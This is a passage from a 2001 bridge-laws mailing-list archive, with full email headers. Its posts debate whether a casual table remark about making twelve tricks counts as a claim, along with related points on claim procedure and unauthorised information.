statement of clarification, but *should* is not a very strong word. L70D Claimer Proposes New Line of Play The Director shall not accept from claimer any successful line of play not embraced in the original clarification statement [if any--mlf] if there is an alternative normal* line of play that would be less successful. If there was no previous statement, then any statement is a "new line of play." It won't be accepted if there is another (normal) line of play that would be less successful, but it may be accepted. In L70E "The Director shall not accept any unstated line of play..." seems to mean a line of play now offered which was not included in an original statement (if any). That implies that a line of play that was not supplied at the time of the claim will be heard at this time. All not very clear, but that's the way I see it. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 17:14:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0K6E1714426 for bridge-laws-outgoing; Sat, 20 Jan 2001 17:14:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0K6Dst14422 for ; Sat, 20 Jan 2001 17:13:56 +1100 (EST) Received: (qmail 78562 invoked for bounce); 20 Jan 2001 06:13:49 -0000 Received: from dialin-194-29-59-230.frankfurt.gigabell.net (HELO rabbit) (194.29.59.230) by smtp.myokay.net with SMTP; 20 Jan 2001 06:13:49 -0000 Message-ID: <000301c082a8$874a8b60$e63b1dc2@rabbit> From: "Thomas Dehn" To: References: Subject: Re: [BLML] Claim? Date: Sat, 20 Jan 2001 07:16:11 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "David Stevenson" wrote: > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? "We should be in slam" is not a claim, but "we are going to make twelve tricks" is a claim. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 18:24:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0K7OD014463 for bridge-laws-outgoing; Sat, 20 Jan 2001 18:24:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0K7O7t14459 for ; Sat, 20 Jan 2001 18:24:08 +1100 (EST) Received: from [213.123.22.236] (helo=pbncomputer) by carbon.btinternet.com with smtp (Exim 3.03 #83) id 14JsNX-0005FA-00 for bridge-laws@rgb.anu.edu.au; Sat, 20 Jan 2001 07:24:03 +0000 Message-ID: <001601c082b1$fa8de780$ec167bd5@pbncomputer> From: "David Burn" To: References: <200101191537.KAA21799@freenet10.carleton.ca> Subject: Re: [BLML] Claim? Date: Sat, 20 Jan 2001 07:24:04 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tony wrote: > And I don't think DWS made a mistake. I find it difficult to believe that > the writers of the Laws did not mean to deliberately differentiate > between the two words "statement" and "remark". Well, this is certainly one of the more ingenious pieces of reasoning I have seen to support the argument that something the Laws define as a claim is not one. Because we don't want it to be a claim, let us call it a remark instead of a statement. If a Director came to my table and said, "Your opponent didn't state that he would make twelve tricks, he only remarked that he would make twelve tricks", I would conclude that I had to deal with a madman (or possibly a MadDog). But there is a greater difficulty. The next time my opponent faces a two-way guess for the queen of diamonds, I am going to say, "I wish to state explicitly that I have the queen of diamonds". When my opponent takes the finesse the wrong way, he will have no redress, for Law 73D2 provides only that I may not attempt to mislead an opponent "by means of a remark or gesture". Since what I said was a statement and not a remark, it was a perfectly legal action. Ladies and gentlemen, this sophistry is really not seemly. We may not be happy with the notion that a player who is "just kidding around" should be treated as though he has made a claim. It may very well be that a player who insists that the utterance "we will make twelve tricks" be treated as a claim even though it was not so intended should have a millstone tied about his neck and be cast into the depths of the sea. As to that, I express no opinion - but that was not the question. The question was: does the utterance "we will make twelve tricks" constitute a claim? The answer to it is "Yes". David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 18:35:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0K7Ykt14476 for bridge-laws-outgoing; Sat, 20 Jan 2001 18:34:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0K7Yet14472 for ; Sat, 20 Jan 2001 18:34:41 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 19 Jan 2001 23:35:29 -0800 Message-ID: <011201c082b3$67dd7f20$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <67378DEA146DD21194C20000F87B08BA01B8B785@fdwag002s.fd.agro.nl> <004101c08222$a315fcc0$c47b93c3@pacific> Subject: Re: [BLML] 1997 changes to laws, was Law 71: Concession cancelled Date: Fri, 19 Jan 2001 23:28:10 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Grattan Endicott" > > +=+ I am dubious about looking at a foreign translation > as evidence of anything about the authorised version. > The laws set in other languages are notoriously > unreliable. Whether they may get an Asterix wrong I can > not say (was he a Vandal?), but often enough interpretation > of the English is idiosyncratic and I would not trust them > altogether with an asterisk. To be fair, sometimes a translator converts an English ambiguity into an unambiguous translation that conveys the intended meaning better. I prefer the French definition of "convention," which, unlike the English version, is clearly expressed. L70E: "...or would subsequently fail to follow to that suit on any normal* line of play..." Must all normal* lines pass the test, or is one enough? The French translator removed the ambiguity, adding *n'importe quelle* (no matter which). The English version might well follow the French example and change the words to "all normal* lines of play." Common sense will always lead to the right application of L70E, no doubt, but it's better if the language used accords unambiguously with common sense. L69, L70C3, and L71C have similar ambiguities related to the word "any," but discussing them would take up too much space. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 21:11:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KAAET04649 for bridge-laws-outgoing; Sat, 20 Jan 2001 21:10:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.uunet.be (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KAA7t04645 for ; Sat, 20 Jan 2001 21:10:08 +1100 (EST) Received: from village.uunet.be (uu212-190-11-221.unknown.uunet.be [212.190.11.221]) by bru5-smtp-out2.uunet.be (8.9.3/8.9.1) with ESMTP id LAA07341 for ; Sat, 20 Jan 2001 11:10:00 +0100 (MET) Message-ID: <3A686F02.33394C9C@village.uunet.be> Date: Fri, 19 Jan 2001 17:44:50 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > Craig Senior writes > >In a serious game, you should have kept silent. In a friendly game among > >close acquaintances I see no problem with overlooking this sort of > >infraction...but we aren't talking about kitchen table bridge here. In any > >sort of a tournament you probably should refrain from such comments as they > >would seem to breach the proprieties if not other laws. I think that as > >director you might do well to set a better example for other players. > > Fine: they breach the Proprieties: let the Proprieties deal with them. > > But what is suggested here is that some of the many casual comments > that are made at the table are claims, even when everyone knows there > was no intention of claiming. > > That is what really worries me: any interpretation whose main effect > is to give ammunition to BLs and leave other people unaffected seems > horrendous to me. > > We all know what a claim is. A player puts his hand down and says > "They are all mine" or "Give you a top trump" or something. But we are > being asked to call something a claim when a player demonstrably did not > intend to claim. How can that be right? > > Of course there are lots of rules players do not know and we have to > enforce. If a player bids out of turn we drag out the law-book, and who > would wish otherwise? But when we know a player did not intend to claim > then to say it is a claim seems unjust. > > What happens if we are not sure? Perhaps he did? I have no problem > with a hard line on doubtful claims. But ones that the players know are > not intended as claims should not be treated as claims. > > Bridge should be an enjoyable game: encouraging BLs will not help that > end. > Very well David, I agree with you. However, I must also agree with David B, who has pointed out that the sentence (unless he ...) does manifestly NOT apply on "statement .. will win". Whereto now ? Grattan's notebook perhaps ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 21:52:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KAq1c19124 for bridge-laws-outgoing; Sat, 20 Jan 2001 21:52:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0KApst19084 for ; Sat, 20 Jan 2001 21:51:55 +1100 (EST) Received: (qmail 28672 invoked for bounce); 20 Jan 2001 10:51:51 -0000 Received: from dialin-194-29-57-212.frankfurt.gigabell.net (HELO rabbit) (194.29.57.212) by smtp.myokay.net with SMTP; 20 Jan 2001 10:51:51 -0000 Message-ID: <000001c082cf$5ebf2440$d4391dc2@rabbit> From: "Thomas Dehn" To: "Bridge Laws" References: <3A670674.673519AE@village.uunet.be> Subject: Re: [BLML] penalties AND UI - too much ? Date: Sat, 20 Jan 2001 10:57:25 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Herman De Wael" wrote: > Partner leads out of turn, the ace of diamonds. > > Declarer allows you to play what you want. > > >From AKJx of hearts, you lead the ace, to see the table. > The queen of hearts is not there. > > Again declarer allows you to play what you want. > > If you now play diamonds, your partner is in to bring you > the hearts. > > But, says declarer later, the Ace is UI, and you could also > have switched clubs as a LA, so please give me my contract > back. > > Comments ? Declarer dug his own grave. He should have forbidden a D lead. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 22:56:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KBtNq25722 for bridge-laws-outgoing; Sat, 20 Jan 2001 22:55:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhenium (rhenium.btinternet.com [194.73.73.93]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KBtHt25718 for ; Sat, 20 Jan 2001 22:55:18 +1100 (EST) Received: from [195.99.54.79] (helo=[195.99.54.79]) by rhenium with smtp (Exim 3.03 #83) id 14Jwbt-0004vu-00 for bridge-laws@rgb.anu.edu.au; Sat, 20 Jan 2001 11:55:12 +0000 From: David Burn To: Bridge Laws Subject: Re: [BLML] Claim? Date: Sat, 20 Jan 2001 11:55:29 +0000 X-Mailer: EPOC32 Email Version 1.50 MIME-Version: 1.0 Content-Type: text/plain Message-Id: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0KBtJt25719 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > We all know what a claim is. A player puts his hand down and says > "They are all mine" or "Give you a top trump" or something. But we are > being asked to call something a claim when a player demonstrably did not > intend to claim. How can that be right? It is right for the same reason as it is right to call a failure to follow suit a revoke, when a player demonstrably did not intend to revoke. What players intend does not matter; what matters is what players actually do. This notion that "we all know what a claim is" makes no kind of sense at all. A claim is what the laws say it is. The laws are not superseded by "what we all know", or "common sense", or the "spirit of the game" or any other emotional claptrap. It is all very well for DWS and Probst to explain to us what jolly fellows they both are, and how much they sympathise with the poor bridge player who is unable to keep his mouth shut and concentrate on playing his cards without berating his partner or distracting his opponents. But this has got absolutely nothing at all to do with the question of whether or not "we are going to win twelve tricks" is a claim. > But when we know a player did not intend to claim > then to say it is a claim seems unjust. This makes exactly as much sense as to say: when we know a player did not intend to make an insufficient bid, then to say it is an insufficient bid seems unjust. > But ones that the players know are > not intended as claims should not be treated as claims. If a player says "we are going to make twelve tricks", it should not be up to me as his opponent to decide whether or ot he means this as a claim of twelve tricks. It *is* a claim of twelve tricks, for that is what the law says that it is. If I choose to ignore it, and to allow play to continue, then although I am technically in breach of the law and have ceased to play duplicate contract bridge, I will at least have the satisfaction of knowing that Eric Landau will not cut me dead should we meet in public. > Bridge should be an enjoyable game: encouraging BLs will not help that > end. Encouraging people not to criticise partner's bidding when dummy appears, or to make comments that can only serve to disconcert their opponents in the defence, will in my view help to make the game considerably more enjoyable for all concerned. If the way to discourage such garrulity is to treat it according to the law as a claim, then let us do so. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 23:38:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KCblA25748 for bridge-laws-outgoing; Sat, 20 Jan 2001 23:37:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KCbet25744 for ; Sat, 20 Jan 2001 23:37:41 +1100 (EST) Received: from unid.uni-duesseldorf.de (Isis25.urz.uni-duesseldorf.de [134.99.138.25]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0G7G00694OEKKF@neptun.rz.uni-duesseldorf.de> for bridge-laws@rgb.anu.edu.au; Sat, 20 Jan 2001 13:37:34 +0100 (MET) Date: Sat, 20 Jan 2001 13:37:33 +0100 From: Richard Bley Subject: Re: [BLML] Claim? In-reply-to: X-Sender: bley@mail.rz.uni-duesseldorf.de To: Bridge Laws Message-id: <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I agree that the wording of the laws are the way David Burn describes it. But: IMHO this is an awful rule. Laws are written regularly to protect the innocent people from falling into tricky traps. Here is no tricky trap to see; just be annoyed by an opp is not enough for me here. To make a claim out of all this silly statements is just too much for the non-offenders (imagine trump contracts alone...). Still IMHO it is right to punish this sort of statements ("Pard we have a grand on!") but not with the score (and opps who get a lot of points out of it) but with penalty points. That is the right place for this behaviour. Cheers Richard At 11:55 20.01.2001 +0000, David Burn wrote: >DWS wrote: > > > We all know what a claim is. A player puts his hand down and says > > "They are all mine" or "Give you a top trump" or something. But we are > > being asked to call something a claim when a player demonstrably did not > > intend to claim. How can that be right? > >It is right for the same reason as it is right to call a failure to follow >suit a revoke, when a player demonstrably did not intend to revoke. What >players intend does not matter; what matters is what players actually do. > >This notion that "we all know what a claim is" makes no kind of sense at >all. A claim is what the laws say it is. The laws are not superseded by >"what we all know", or "common sense", or the "spirit of the game" or any >other emotional claptrap. It is all very well for DWS and Probst to >explain to us what jolly fellows they both are, and how much they >sympathise with the poor bridge player who is unable to keep his mouth >shut and concentrate on playing his cards without berating his partner or >distracting his opponents. But this has got absolutely nothing at all to >do with the question of whether or not "we are going to win twelve tricks" >is a claim. > > > But when we know a player did not intend to claim > > then to say it is a claim seems unjust. > >This makes exactly as much sense as to say: when we know a player did not >intend to make an insufficient bid, then to say it is an insufficient bid >seems unjust. > > > But ones that the players know are > > not intended as claims should not be treated as claims. > >If a player says "we are going to make twelve tricks", it should not be up >to me as his opponent to decide whether or ot he means this as a claim of >twelve tricks. It *is* a claim of twelve tricks, for that is what the law >says that it is. If I choose to ignore it, and to allow play to continue, >then although I am technically in breach of the law and have ceased to >play duplicate contract bridge, I will at least have the satisfaction of >knowing that Eric Landau will not cut me dead should we meet in public. > > > Bridge should be an enjoyable game: encouraging BLs will not help that > > end. > >Encouraging people not to criticise partner's bidding when dummy appears, >or to make comments that can only serve to disconcert their opponents in >the defence, will in my view help to make the game considerably more >enjoyable for all concerned. If the way to discourage such garrulity is to >treat it according to the law as a claim, then let us do so. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 00:58:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KDwII25797 for bridge-laws-outgoing; Sun, 21 Jan 2001 00:58:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KDw5t25785 for ; Sun, 21 Jan 2001 00:58:08 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14JyWm-000ISq-0W for bridge-laws@rgb.anu.edu.au; Sat, 20 Jan 2001 13:58:02 +0000 Message-ID: Date: Fri, 19 Jan 2001 15:18:41 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <004f01c08206$28650e60$6d78073e@pbncomputer> In-Reply-To: <004f01c08206$28650e60$6d78073e@pbncomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn writes >Fearghal wrote: > >> Literally he has, but intentionally he has not. >> >> I vote No - he has not claimed. > >A player fails to follow suit, because he has a spade in with his clubs. >Has he revoked? According to the argument above, he has not, because he >did not mean to. > >> I wish the Law book could be taken literally but that is not the case >> yet so I will use commonsense. > >Unfortunately, you do not have the option of using "common sense" when >you disagree with the law book, and following the laws otherwise. In any >case, to say that "we will win twelve tricks" is not a claim is not >"common sense" but nonsense. When a person claims he is attempting to shorten the play. You know perfectly well what a claim is, but you prefer to pretend that we must follow the Laws and assume that something we know perfectly well is not a claim should be a claim. No doubt you are write on the English language but as a method of ruling a game it makes little sense. Your approach that a statement that is clearly and obviously not a claim should be treated as a claim is nonsense rather than commonsense. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 00:58:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KDwHj25796 for bridge-laws-outgoing; Sun, 21 Jan 2001 00:58:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KDw5t25784 for ; Sun, 21 Jan 2001 00:58:06 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14JyWm-000ISp-0W for bridge-laws@rgb.anu.edu.au; Sat, 20 Jan 2001 13:58:01 +0000 Message-ID: Date: Fri, 19 Jan 2001 15:11:35 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim West-meads writes >In-Reply-To: >DWS wrote: > >> This is based on your knowledge that you opened 1S OOT, and then >> withdrew that 1S bid. **But L16C2 says that the 1S is unauthorised >> to your _side_, so the 1S bid is unauthorised information to you.** > >While being authorised that partner may suffer lead penalties if you >do not bid spades! Bridge is tough enough without trying to >pin-dancing angels. > >> If you rebid the spades, and do not mention the hearts, do we >> adjust the score because bidding the hearts is an LA, as >> mentioned in L16C? >> >> Hehe. > >But it's not really very funny after all. If we are going to have >mechanical penalties then why can't we let them be just that (at worst >with the revoke-type modifier (if damage *from the infraction* exceeds >the penalty then..). Mechanical penalties are supposed to benefit the >game by making rulings easy and simple to understand for TDs and >players alike. UI rulings are intended as "fairer" but are more >complex and time-consuming. > >Combining mechanical and judgement penalties in these situations seems >to get the worst aspects of each approach. > >After all if 1S is UI the opponents are protected against damage >regardless of whether partner is barred or not. No doubt everyone would like to re-write the Laws in all sorts of ways. But given they are as they are we only have three answers to my second question: Tim says the Laws are wrong, Todd says L16C does not apply to cancelled calls, Jac says it is only the information arising that is unauthorised so you can rebid in a deliberately confusing way legally. I do not think Tim's answer gets us forrarder: I have already explained to Todd why I believe him to be incorrect, so we are left with Jac's answer. Is everyone happy? Just to remind you, I opened 1S because I had five good spades and six poor hearts, discovered I had opened out of turn and silenced partner, and now I wish to rebid spades so as to confuse the oppos: does L16C constrain me? -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 00:58:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KDwG325795 for bridge-laws-outgoing; Sun, 21 Jan 2001 00:58:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KDw5t25783 for ; Sun, 21 Jan 2001 00:58:06 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14JyWm-000ISo-0W for bridge-laws@rgb.anu.edu.au; Sat, 20 Jan 2001 13:58:01 +0000 Message-ID: Date: Fri, 19 Jan 2001 15:05:42 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> In-Reply-To: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eric Landau writes >At 08:51 PM 1/17/01, Michael wrote: > >>At 09:05 PM 1/14/01, Eric wrote: >> >> > Dealer South, North bids out of turn, not accepted, so South is >> >silenced. Are there any constraints on North's bidding? >> >> >Yes, there are constraints imposed by L23. North should not take any >> >action which is more likely to succeed with partner barred than it >> >would be were partner free to bid. TD's authority to adjust (given >> >damage) comes from L72B1. >> >>I'm sure that either you have mis-typed or I have min-interpreted your >>comment here. Let's look at the text. > >Indeed. I did not intend "it" to have "action" as its referent, but >wrote badly. Let me try again: North should not take any action by >which he is likely to achieve a more successful outcome with partner >barred than what would have been the expected outcome with his partner >free to bid. Why not? L72A5. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 02:08:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KF7vK25852 for bridge-laws-outgoing; Sun, 21 Jan 2001 02:07:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KF7ot25848 for ; Sun, 21 Jan 2001 02:07:51 +1100 (EST) Received: from kay (ashsv1-34.cswnet.com [209.136.193.34]) by mail.cswnet.com (Postfix) with SMTP id 991885D029; Sat, 20 Jan 2001 09:07:45 -0600 (CST) Message-ID: <008c01c082f3$13deb480$22c188d1@kay> From: "Nelson/Kay Ford" To: "Marvin L. French" , "blml" References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> <00a301c08295$ec165b40$56991e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Sat, 20 Jan 2001 09:10:06 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Marvin L. French" To: "blml" Sent: Friday, January 19, 2001 10:00 PM Subject: Re: [BLML] Claim? > L68C says a claim *should* be accompanied at once by a statement of > clarification, but *should* is not a very strong word. > > L70D Claimer Proposes New Line of Play > The Director shall not accept from claimer any successful > line of play not embraced in the original clarification > statement [if any--mlf] if there is an alternative normal* > line of play that would be less successful. > > If there was no previous statement, then any statement is a "new line of > play." It won't be accepted if there is another (normal) line of play > that would be less successful, but it may be accepted. > > In L70E "The Director shall not accept any unstated line of play..." > seems to mean a line of play now offered which was not included in an > original statement (if any). That implies that a line of play that was > not supplied at the time of the claim will be heard at this time. I think that your quote of L70E out of context changes its meaning. The full quote is: "The Director shall not accept from claimer any unstated line of play [continuing:] the success of which depends upon finding one opponent... [blah, blah, blah]" In other words, L70E was addressing a specific situation, not giving blanket approval for a claimer to make a belated Clarification Statement. L70B clearly lays out the steps a TD must take. Step 1 is is to have the claimer REPEAT his clarification statement. He cannot "repeat" a statement unless he has already made one. Step 2 is for all hands to be faced. Step 3 is to hear the opponents' objections (and presumably any rebuttals by claimer). IMO, L70D and L70E clearly are meant to apply to claimer's rebuttal to the opponent's objections. It is illogical to say that if claimer has not made a statement by Step 3, he will be allowed to make one after seeing the opponent's cards and hearing their objections. Nelson Ford -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 03:05:37 2001 Received: (from 